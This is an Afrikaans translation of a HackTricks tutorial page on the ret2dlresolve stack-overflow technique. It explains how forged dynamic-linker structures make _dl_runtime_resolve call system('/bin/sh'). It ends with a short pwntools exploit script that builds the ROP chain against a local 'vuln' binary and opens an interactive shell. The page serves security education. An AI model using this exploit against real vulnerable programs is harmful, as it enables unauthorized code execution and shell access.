hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md

5.5 KiB

Ret2dlresolve

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Soos verduidelik op die bladsy oor GOT/PLT en Relro, binêre lêers sonder Volle Relro sal simbole (soos adresse na eksterne biblioteke) oplos die eerste keer as hulle gebruik word. Hierdie oplossing vind plaas deur die funksie _dl_runtime_resolve te roep.

Die _dl_runtime_resolve-funksie neem vanaf die stok verwysings na sekere strukture wat dit nodig het om die gespesifiseerde simbool op te los.

Daarom is dit moontlik om al hierdie strukture te vervals om die dinamies gekoppelde oplossing van die versoekte simbool (soos die system-funksie) te maak en dit met 'n gekonfigureerde parameter te roep (bv. system('/bin/sh')).

Gewoonlik word al hierdie strukture vervals deur 'n aanvanklike ROP-ketting wat read aanroep oor 'n skryfbare geheue, dan die strukture en die string '/bin/sh' word deurgegee sodat hulle deur read in 'n bekende plek gestoor word, en dan gaan die ROP-ketting voort deur _dl_runtime_resolve te roep met die adres na $'/bin/sh'.

{% hint style="success" %} Hierdie tegniek is veral nuttig as daar nie syscall-gadgets is (om tegnieke soos ret2syscall of SROP te gebruik) en daar is nie maniere om libc-adresse te lek nie. {% endhint %}

Jy kan 'n beter verduideliking oor hierdie tegniek vind in die tweede helfte van die video:

{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}

Strukture

Dit is nodig om 3 strukture te vervals: JMPREL, STRTAB en SYMTAB. Jy het 'n beter verduideliking oor hoe hierdie gebou word in https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures

Aanval Opsomming

  1. Skryf valse strukture op 'n plek
  2. Stel die eerste argument van system in ($rdi = &'/bin/sh')
  3. Stel op die stok die adresse na die strukture in om _dl_runtime_resolve te roep
  4. Roep _dl_runtime_resolve aan
  5. system sal opgelos en geroep word met '/bin/sh' as argument

Voorbeeld

Jy kan 'n voorbeeld van hierdie tegniek hier vind wat 'n baie goeie verduideliking van die finale ROP-ketting bevat, maar hier is die finale aanval wat gebruik is:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in

p.interactive()

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: